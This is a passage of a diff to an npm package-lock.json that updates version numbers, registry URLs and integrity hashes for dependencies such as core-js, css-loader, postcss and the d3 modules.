"color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true - }, - "mkdirp": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", - "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", - "dev": true - }, - "string-width": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", - "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", - "dev": true, - "requires": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.0" - } - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - }, - "wrap-ansi": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", - "dev": true, - "requires": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" - } - }, - "y18n": { - "version": "5.0.8", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", - "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", - "dev": true - }, - "yargs": { - "version": "16.2.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", - "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", - "dev": true, - "requires": { - "cliui": "^7.0.2", - "escalade": "^3.1.1", - "get-caller-file": "^2.0.5", - "require-directory": "^2.1.1", - "string-width": "^4.2.0", - "y18n": "^5.0.5", - "yargs-parser": "^20.2.2" - } - }, - "yargs-parser": { - "version": "20.2.7", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.7.tgz", - "integrity": "sha512-FiNkvbeHzB/syOjIUxFDCnhSfzAL8R5vs40MgLFBorXACCOAEaWu0gRZl14vG8MR9AOJIZbmkjhusqBYZ3HTHw==", - "dev": true - } } }, "core-js": { - "version": "3.18.2", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.18.2.tgz", - "integrity": "sha512-zNhPOUoSgoizoSQFdX1MeZO16ORRb9FFQLts8gSYbZU5FcgXhp24iMWMxnOQo5uIaIG7/6FA/IqJPwev1o9ZXQ==" + "version": "3.21.1", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.21.1.tgz", + "integrity": "sha512-FRq5b/VMrWlrmCzwRrpDYNxyHP9BcAZC+xHJaqTgIE5091ZV1NTmyh0sGOg5XqpnHvR0svdy0sv1gWA1zmhxig==" }, "core-js-compat": { - "version": "3.18.2", - "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.18.2.tgz", - "integrity": "sha512-25VJYCJtGjZwLguj7d66oiHfmnVw3TMOZ0zV8DyMJp/aeQ3OjR519iOOeck08HMyVVRAqXxafc2Hl+5QstJrsQ==", + "version": "3.21.1", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.21.1.tgz", + "integrity": "sha512-gbgX5AUvMb8gwxC7FLVWYT7Kkgu/y7+h/h1X43yJkNqhlK2fuYyQimqvKGNZFAY6CKii/GFKJ2cp/1/42TN36g==", "dev": true, "requires": { - "browserslist": "^4.17.3", + "browserslist": "^4.19.1", "semver": "7.0.0" }, "dependencies": { @@ -4203,14 +19584,14 @@ } }, "core-js-pure": { - "version": "3.18.3", - "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.18.3.tgz", - "integrity": "sha512-qfskyO/KjtbYn09bn1IPkuhHl5PlJ6IzJ9s9sraJ1EqcuGyLGKzhSM1cY0zgyL9hx42eulQLZ6WaeK5ycJCkqw==" + "version": "3.21.1", + "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.21.1.tgz", + "integrity": "sha512-12VZfFIu+wyVbBebyHmRTuEE/tZrB4tJToWcwAMcsp3h4+sHR+fMJWbKpYiCRWlhFBq+KNyO8rIV9rTkeVmznQ==" }, "core-util-is": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", - "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", "dev": true }, "cosmiconfig": { @@ -4236,150 +19617,130 @@ } }, "cross-spawn": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", - "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" }, "dependencies": { - "path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", "dev": true - }, - "shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "requires": { - "shebang-regex": "^3.0.0" - } - }, - "shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true - }, - "which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } } } }, "css-loader": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.6.0.tgz", - "integrity": "sha512-M5lSukoWi1If8dhQAUCvj4H8vUt3vOnwbQBH9DdTm/s4Ym2B/3dPMtYZeJmq7Q3S3Pa+I94DcZ7pc9bP14cWIQ==", + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.1.tgz", + "integrity": "sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw==", "dev": true, "requires": { - "camelcase": "^5.3.1", - "cssesc": "^3.0.0", - "icss-utils": "^4.1.1", - "loader-utils": "^1.2.3", - "normalize-path": "^3.0.0", - "postcss": "^7.0.32", - "postcss-modules-extract-imports": "^2.0.0", - "postcss-modules-local-by-default": "^3.0.2", - "postcss-modules-scope": "^2.2.0", - "postcss-modules-values": "^3.0.0", - "postcss-value-parser": "^4.1.0", - "schema-utils": "^2.7.0", - "semver": "^6.3.0" + "icss-utils": "^5.1.0", + "postcss": "^8.4.7", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.0", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.3.5" }, "dependencies": { - "ajv-keywords": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", - "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "dev": true, + "requires": {} + }, + "lru-cache": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.8.1.tgz", + "integrity": "sha512-E1v547OCgJvbvevfjgK9sNKIVXO96NnsTsFPBlg4ZxjhsJSODoH9lk8Bm0OxvHNm6Vm5Yqkl/1fErDxhYL8Skg==", "dev": true }, - "camelcase": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "nanoid": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.2.tgz", + "integrity": "sha512-CuHBogktKwpm5g2sRgv83jEy2ijFzBwMoYA60orPDR7ynsLijJDqgsi4RDGj3OJpy3Ieb+LYwiRmIOGyytgITA==", "dev": true }, - "schema-utils": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", - "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "postcss": { + "version": "8.4.12", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.12.tgz", + "integrity": "sha512-lg6eITwYe9v6Hr5CncVbK70SoioNQIq81nsaG86ev5hAidQvmOeETBqs7jm43K2F5/Ley3ytDtriImV6TpNiSg==", "dev": true, "requires": { - "@types/json-schema": "^7.0.5", - "ajv": "^6.12.4", - "ajv-keywords": "^3.5.2" + "nanoid": "^3.3.1", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + } + }, + "postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "dev": true, + "requires": {} + }, + "postcss-modules-local-by-default": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz", + "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==", + "dev": true, + "requires": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + } + }, + "postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "dev": true, + "requires": { + "postcss-selector-parser": "^6.0.4" + } + }, + "postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dev": true, + "requires": { + "icss-utils": "^5.0.0" } }, "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true + "version": "7.3.6", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.6.tgz", + "integrity": "sha512-HZWqcgwLsjaX1HBD31msI/rXktuIhS+lWvdE4kN9z+8IVT4Itc7vqU2WvYsyD6/sjYCt4dEKH/m1M3dwI9CC5w==", + "dev": true, + "requires": { + "lru-cache": "^7.4.0" + } } } }, "css-select": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.1.3.tgz", - "integrity": "sha512-gT3wBNd9Nj49rAbmtFHj1cljIAOLYSX1nZ8CB7TBO3INYckygm5B7LISU/szY//YmdiSLbJvDLOx9VnMVpMBxA==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", "dev": true, "requires": { "boolbase": "^1.0.0", - "css-what": "^5.0.0", - "domhandler": "^4.2.0", - "domutils": "^2.6.0", - "nth-check": "^2.0.0" - }, - "dependencies": { - "dom-serializer": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.2.tgz", - "integrity": "sha512-5c54Bk5Dw4qAxNOI1pFEizPSjVsx5+bpJKmL2kPn8JhBUq2q09tTCa3mjijun2NfK78NMouDYNMBkOrPZiS+ig==", - "dev": true, - "requires": { - "domelementtype": "^2.0.1", - "domhandler": "^4.2.0", - "entities": "^2.0.0" - } - }, - "domelementtype": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", - "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", - "dev": true - }, - "domhandler": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.2.2.tgz", - "integrity": "sha512-PzE9aBMsdZO8TK4BnuJwH0QT41wgMbRzuZrHUcpYncEjmQazq8QEaBWgLG7ZyC/DAZKEgglpIA6j4Qn/HmxS3w==", - "dev": true, - "requires": { - "domelementtype": "^2.2.0" - } - }, - "domutils": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", - "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", - "dev": true, - "requires": { - "dom-serializer": "^1.0.1", - "domelementtype": "^2.2.0", - "domhandler": "^4.2.0" - } - } + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" } }, "css-vendor": { @@ -4392,9 +19753,9 @@ } }, "css-what": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/css-what/-/css-what-5.0.1.tgz", - "integrity": "sha512-FYDTSHb/7KXsWICVsxdmiExPjCfRC4qRFBdVwv7Ax9hMnvMmEjP9RfxTEZ3qPZGmADDn2vAKSo9UcN1jKVYscg==", + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", "dev": true }, "cssesc": { @@ -4404,9 +19765,9 @@ "dev": true }, "csstype": { - "version": "2.6.10", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.10.tgz", - "integrity": "sha512-D34BqZU4cIlMCY93rZHbrq9pjTAQJ3U8S8rfBqjwHxkGPThWFjzZDQpgMJY0QViLxth6ZKYiwFBo14RdN44U/w==" + "version": "2.6.20", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.20.tgz", + "integrity": "sha512-/WwNkdXfckNgw6S5R125rrW8ez139lBHWouiBvX8dfMFtcn6V81REDqnH7+CRpRipfYlyU1CmOnOxrmGcFOjeA==" }, "d3": { "version": "5.16.0", @@ -4457,9 +19818,9 @@ "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ==" }, "d3-brush": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.5.tgz", - "integrity": "sha512-rEaJ5gHlgLxXugWjIkolTA0OyMvw8UWU1imYXy1v642XyyswmI1ybKOv05Ft+ewq+TFmdliD3VuK0pRp1VT/5A==", + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.6.tgz", + "integrity": "sha512-7RW+w7HfMCPyZLifTz/UnJmI5kdkXtpCbombUSs8xniAyo0vIbrDzDwUJB6eJOgl9u5DQOt2TQlYumxzD1SvYA==", "requires": { "d3-dispatch": "1", "d3-drag": "1", @@ -4517,17 +19878,24 @@ "commander": "2", "iconv-lite": "0.4", "rw": "1" + }, + "dependencies": { + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + } } }, "d3-ease": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.6.tgz", - "integrity": "sha512-SZ/lVU7LRXafqp7XtIcBdxnWl8yyLpgOmzAk0mWBI9gXNzLDx5ybZgnRbH9dN/yY5tzVBqCQ9avltSnqVwessQ==" + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.7.tgz", + "integrity": "sha512-lx14ZPYkhNx0s/2HX5sLFUI3mbasHjSSpwO/KaaNACweVwxUruKyWVcb293wMv1RqTPZyZ8kSZ2NogUZNcLOFQ==" }, "d3-fetch": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.1.2.tgz", - "integrity": "sha512-S2loaQCV/ZeyTyIF2oP8D1K9Z4QizUzW7cWeAOAS4U88qOt3Ucf6GsmgthuYSdyB2HyEm4CeGvkQxWsmInsIVA==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.2.0.tgz", + "integrity": "sha512-yC78NBVcd2zFAyR/HnUiBS7Lf6inSCoWcSxFfw8FYL7ydiqe80SazNwoffcqOfs95XaLo7yebsmQqDKSsXUtvA==", "requires": { "d3-dsv": "1" } @@ -4544,14 +19912,14 @@ } }, "d3-format": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.4.4.tgz", - "integrity": "sha512-TWks25e7t8/cqctxCmxpUuzZN11QxIA7YrMbram94zMQ0PXjE4LVIMe/f6a4+xxL8HQ3OsAFULOINQi1pE62Aw==" + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.4.5.tgz", + "integrity": "sha512-J0piedu6Z8iB6TbIGfZgDzfXxUFN3qQRMofy2oPdXzQibYGqPB/9iMcxr/TGalU+2RsyDO+U4f33id8tbnSRMQ==" }, "d3-geo": { - "version": "1.12.0", - "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.12.0.tgz", - "integrity": "sha512-NalZVW+6/SpbKcnl+BCO67m8gX+nGeJdo6oGL9H6BRUGUL1e+AtPcP4vE4TwCQ/gl8y5KE7QvBzrLn+HsKIl+w==", + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.12.1.tgz", + "integrity": "sha512-XG4d1c/UJSEX9NfU02KwBL6BYPj8YKHxgBEw5om2ZnTRSbIcego6dhHwcxuSR3clxh0EpE38os1DVPOmnYtTPg==", "requires": { "d3-array": "1" } @@ -4612,9 +19980,9 @@ } }, "d3-selection": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.1.tgz", - "integrity": "sha512-BTIbRjv/m5rcVTfBs4AMBLKs4x8XaaLkwm28KWu9S2vKNqXkXt2AH2Qf0sdPZHjFxcWg/YL53zcqAz+3g4/7PA==" + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.2.tgz", + "integrity": "sha512-SJ0BqYihzOjDnnlfyeHT0e30k0K1+5sR3d5fNueCNeuhZTnGw4M4o8mqJchSwgKMXCNFo+e2VTChiSJ0vYtXkg==" }, "d3-shape": { "version": "1.3.7", @@ -4630,9 +19998,9 @@ "integrity": "sha512-Xh0isrZ5rPYYdqhAVk8VLnMEidhz5aP7htAADH6MfzgmmicPkTo8LhkLxci61/lCB7n7UmE3bN0leRt+qvkLxA==" }, "d3-time-format": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.2.3.tgz", - "integrity": "sha512-RAHNnD8+XvC4Zc4d2A56Uw0yJoM7bsvOlJR33bclxq399Rak/b9bhvu/InjxdWhPtkgU53JJcleJTGkNRnN6IA==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.3.0.tgz", + "integrity": "sha512-guv6b2H37s2Uq/GefleCDtbe0XZAuy7Wa49VGkPVPMfLL9qObgBST3lEHJBMUp8S7NdLQAGIvr2KXk8Hc98iKQ==", "requires": { "d3-time": "1" } @@ -4673,9 +20041,9 @@ } }, "debug": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", - "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", "dev": true, "requires": { "ms": "2.1.2" @@ -4720,9 +20088,15 @@ } }, "deep-is": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", - "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true + }, + "deepmerge": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", + "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", "dev": true }, "default-gateway": { @@ -4883,28 +20257,21 @@ }, "dependencies": { "csstype": { - "version": "3.0.9", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", - "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.11.tgz", + "integrity": "sha512-sa6P2wJ+CAbgyy4KFssIb/JNMLxFvKF1pCYCSXS8ZMuqZnMsrxqI2E5sPyoTpxoPU/gVZMzr2zjOfg8GIZOMsw==" } } }, "dom-serializer": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz", - "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==", + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.2.tgz", + "integrity": "sha512-5c54Bk5Dw4qAxNOI1pFEizPSjVsx5+bpJKmL2kPn8JhBUq2q09tTCa3mjijun2NfK78NMouDYNMBkOrPZiS+ig==", "dev": true, "requires": { "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", "entities": "^2.0.0" - }, - "dependencies": { - "domelementtype": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", - "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", - "dev": true - } } }, "dom-walk": { @@ -4913,28 +20280,29 @@ "integrity": "sha512-6QvTW9mrGeIegrFXdtQi9pk7O/nSK6lSdXW2eqUspN5LWD7UTji2Fqw5V2YLjBpHEoU9Xl/eUWNpDeZvoyOv2w==" }, "domelementtype": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz", - "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", + "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", "dev": true }, "domhandler": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-2.4.2.tgz", - "integrity": "sha512-JiK04h0Ht5u/80fdLMCEmV4zkNh2BcoMFBmZ/91WtYZ8qVXSKjiw7fXMgFPnHcSZgOo3XdinHvmnDUeMf5R4wA==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", "dev": true, "requires": { - "domelementtype": "1" + "domelementtype": "^2.2.0" } }, "domutils": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz", - "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==", + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": 